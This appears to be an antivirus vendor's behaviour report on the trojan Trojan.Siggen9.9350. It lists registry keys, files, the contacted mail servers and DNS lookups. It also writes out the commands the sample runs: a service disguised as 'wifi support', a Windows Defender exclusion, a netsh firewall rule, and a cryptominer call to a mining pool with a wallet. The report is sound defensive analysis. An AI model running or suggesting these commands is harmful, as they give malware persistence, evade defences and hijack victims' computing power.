Trojan.Siggen9.9350

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\zbinvoer] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\zbinvoer] 'ImagePath' = '%WINDIR%\SysWOW64\zbinvoer\pjjaluln.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\zbinvoer] 'ImagePath' = '%WINDIR%\SysWOW64\zbinvoer\pjjaluln.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\zbinvoer' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\pjjaluln.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\pjjaluln.exe to %WINDIR%\syswow64\zbinvoer\pjjaluln.exe

Deletes itself.

Network activity

TCP

HTTP GET requests

http://www.google.com/

'43.#31.4.7':443

'mx.##curemx.jp':25

'ma##.melaka.net':25

'18#.#65.238.150':422

'78.#1.67.23':422

'17#.#.114.177':422

'46.#.52.109':422

'93.##9.69.109':422

'46.#8.66.2':422

'ms#####p-mx2.hinet.net':25

'um####.hinet.net':25

'mx#.##con.net.nz':25

'ma##.##lloonheaven.com':25

'al######x-vip2.prodigy.net':25

'alt1.aspmx.l.google.com':25

'ma##.##kotechno.co.id':25

'ma##.##panekspertiz.com':25

'iw####.cniteam.com':25

'ma##.#ailerhost.net':25

'ms#####p-mx1.hinet.net':25

'd1######.#ss.barracudanetworks.com':25

'ma###.#eiersdorf.com':25

'mx.##.#topenworld.com':25

'85.##4.134.88':486

'ho#########.olc.protection.outlook.com':25

'mi####.bittubeapp.com':13333

'mx###.##il.am0.yahoodns.net':25

'mx#.#anmail.net':25

'alt1.gmail-smtp-in.l.google.com':25

'br##.###.mx1.greymail.rcimx.net':25

'ff######x-vip1.prodigy.net':25

'mx#####.#ail.gm0.yahoodns.net':25

'mx#.##rthlink.net':25

'ma##.###ellentcars.co.za':25

'mt##.##0.yahoodns.net':25

'mx#.#avana.cz':25

'ma##.bpg.lt':25

'eu#.###.#rotection.outlook.com':25

'mx#####.ppe-hosted.com':25

'ma##.###ional.niagara.on.ca':25

'do####longeng.com':25

'bp##########0i.mail.protection.outlook.com':25

'16#####.mxmail.netease.com':25

'mx.###akeasy.net':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK sb###obal.net
DNS ASK al######x-vip2.prodigy.net
DNS ASK ma##.#chneider.pl
DNS ASK ma##.#ailerhost.net
DNS ASK google.com
DNS ASK ms#####p-mx2.hinet.net
DNS ASK um####.hinet.net
DNS ASK ms##.hinet.net
DNS ASK li##y.com
DNS ASK ma######prde3.xh1.lilly.com
DNS ASK or###.net.nz
DNS ASK mx#.##con.net.nz
DNS ASK re##ult.com
DNS ASK sm##.renault.fr
DNS ASK ma##.melaka.net
DNS ASK um###.hinet.net
DNS ASK me##ka.net
DNS ASK ms#####p-mx1.hinet.net
DNS ASK ju##y.it
DNS ASK si####chno.co.id
DNS ASK ma##.##kotechno.co.id
DNS ASK t-##line.de
DNS ASK mx##.#-online.de
DNS ASK ms#.#inet.net
DNS ASK be###sdorf.com
DNS ASK je##o.go.jp
DNS ASK ma###.#eiersdorf.com
DNS ASK su#.com
DNS ASK as#####30.oracle.com
DNS ASK gm#.de
DNS ASK mx##.#mig.gmx.net
DNS ASK ya###.com.tr
DNS ASK mx.##curemx.jp
DNS ASK xt##.co.nz
DNS ASK go#.net
DNS ASK ma##.net.pl
DNS ASK tu####kina.com.tr
DNS ASK li##.net
DNS ASK mx.####datacenter.net
DNS ASK ju##.com
DNS ASK mx.##s.untd.com
DNS ASK oa####dvillage.net
DNS ASK ke##hum.com
DNS ASK xf#####1-2.coned.com
DNS ASK mx######91001.pphosted.com
DNS ASK fr##mail.hu
DNS ASK fm#.#reemail.hu
DNS ASK sp###easy.net
DNS ASK mx.###akeasy.net
DNS ASK co####avidson.co.nz
DNS ASK ma##.##panekspertiz.com
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK al####kspertiz.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK ba####nheaven.com
DNS ASK ma##.##lloonheaven.com
DNS ASK ca###ail.com
DNS ASK mx##.#aramail.com
DNS ASK uk###nka.net
DNS ASK ju####glishtr.com
DNS ASK co##d.com
DNS ASK mx#.##curemx.biz
DNS ASK mx.##ra.co.nz
DNS ASK ya##o.com
DNS ASK me##net.net
DNS ASK br##ht.net
DNS ASK iw####.cniteam.com
DNS ASK mf##.co.nz
DNS ASK me###enders.com
DNS ASK d1######.#ss.barracudanetworks.com
DNS ASK co#.net
DNS ASK bp##########0i.mail.protection.outlook.com
DNS ASK mx#.#omcast.net
DNS ASK ex####entcars.co.za
DNS ASK ma##.###ellentcars.co.za
DNS ASK bp#####rnational.com
DNS ASK mx#####.ppe-hosted.com
DNS ASK ex####s-scripts.com
DNS ASK il###ois.edu
DNS ASK ya##o.in
DNS ASK in#######relays.illinois.edu
DNS ASK be###outh.net
DNS ASK ff######x-vip1.prodigy.net
DNS ASK br##.net
DNS ASK br##.###.mx1.greymail.rcimx.net
DNS ASK ti##ali.be
DNS ASK co##ast.net
DNS ASK ps#######1.express-scripts.com
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK ho##ail.com
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK ya##o.de
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK ha##ail.net
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK mx#.#anmail.net
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK mi####.bittubeapp.com
DNS ASK gm##l.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK alt1.gmail-smtp-in.l.google.com
DNS ASK pr###erinc.com
DNS ASK sk##t.info
DNS ASK st###farm.com
DNS ASK mx#.#ate.com
DNS ASK pk#####.#sg.pkvw.co.charter.net
DNS ASK ya##o.es
DNS ASK do####longeng.com
DNS ASK re#####l.niagara.on.ca
DNS ASK ma##.###ional.niagara.on.ca
DNS ASK bp###td.co.uk
DNS ASK we#.de
DNS ASK na##.com
DNS ASK mx###02.web.de
DNS ASK 16#.com
DNS ASK 16#####.mxmail.netease.com
DNS ASK ya##o.co.nz
DNS ASK bt###nworld.com
DNS ASK mx.##.#topenworld.com
DNS ASK st##.rr.com
DNS ASK ma###.statefarm.com
DNS ASK ma##.gmail.com
DNS ASK ma##.bpg.lt
DNS ASK in###serv.com
DNS ASK mx#.##rthlink.net
DNS ASK ya##o.ca
DNS ASK mt##.##0.yahoodns.net
DNS ASK id####amping.com
DNS ASK bp#.lt
DNS ASK mx#####.#ail.gm0.yahoodns.net
DNS ASK mx#.##m.iphmx.com
DNS ASK mx#.#avana.cz
DNS ASK po#.##ndspring.com
DNS ASK ho###il.co.uk
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK ya##o.co.in
DNS ASK om#.com
DNS ASK nh#.be
DNS ASK mx#######201.gslb.pphosted.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\zbinvoer\pjjaluln.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\zbinvoer\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\pjjaluln.exe" %WINDIR%\SysWOW64\zbinvoer\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create zbinvoer binPath= "%WINDIR%\SysWOW64\zbinvoer\pjjaluln.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description zbinvoer "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start zbinvoer' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\zbinvoer\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\pjjaluln.exe" %WINDIR%\SysWOW64\zbinvoer\
'%WINDIR%\syswow64\sc.exe' create zbinvoer binPath= "%WINDIR%\SysWOW64\zbinvoer\pjjaluln.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description zbinvoer "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start zbinvoer
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial